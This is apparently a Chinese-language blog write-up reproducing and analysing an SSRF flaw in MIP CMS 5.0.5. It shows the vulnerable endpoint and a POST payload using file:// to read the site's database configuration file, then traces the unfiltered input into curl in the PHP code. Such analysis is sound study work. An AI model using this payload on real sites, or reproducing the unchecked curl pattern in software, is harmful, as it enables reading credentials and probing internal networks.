一、概述
在一个风和日丽的下午,无所事事的刷着CNVD漏洞分享平台,偶然间看到一个公布的CMS的SSRF漏洞;突然奇想,何不复现分析一波,于是故事开始辽。
MIP建站系统是一套免费开源的CMS建站系统,登录该系统后台,可利用SSRF漏洞读取其任意文件,攻击其内网。
二、复现
下载地址:https://mipclouds.oss-cn-beijing.aliyuncs.com/code/mipjz/mipjz-5.0.5.zip ;
受影响代码位置:app/setting/controller/ApiAdminDomainSettings.php,$api参数可控。
第一步,登陆该后台:
第二步,访问所受影响的代码文件:
http://192.168.10.226/index.php?s=/setting/ApiAdminDomainSettings/urlPost;
POST方法进行请求,payload:
postAddress=file:///C:\phpStudy\PHPTutorial\WWW\app\database.php&url=test&id=test
Soeasy,成功读取到敏感文件。
三、分析
进行简单的漏洞分析。
根据漏洞定位代码文件:app/setting/controller/ApiAdminDomainSettings.php
受影响代码:
public function urlPost(Request $request) {
$postAddress = input('post.postAddress');
if (!$postAddress) {
return jsonError('请先去设置推送的接口');
}
$api = trim($postAddress);
if (strpos($api,'type=realtime') !== false || strpos($api,'type=batch') !== false) {
if (!config('siteInfo')['guanfanghaoStatus']) {
return jsonError('检测到您未开启熊掌号,请开启后再推送');
}
}
$url = input('post.url');
$id = input('post.id');
if (!$url) {
return jsonError('没有检测到你推送的页面地址');
}
$urls[] = $url;
$ch = curl_init();
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
流程分析:
1、$ postAddress = input('post.postAddress');
//POST方法将$postAddress参数传入
2、$api = trim($postAddress);
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
//赋予$api参数,一直至$ch,未进行任何过滤
3、$result = curl_exec($ch);
//最后执行
就是这么容易,SSRF漏洞分析小白级普及完成;疫情快快散去,我想出去嗨!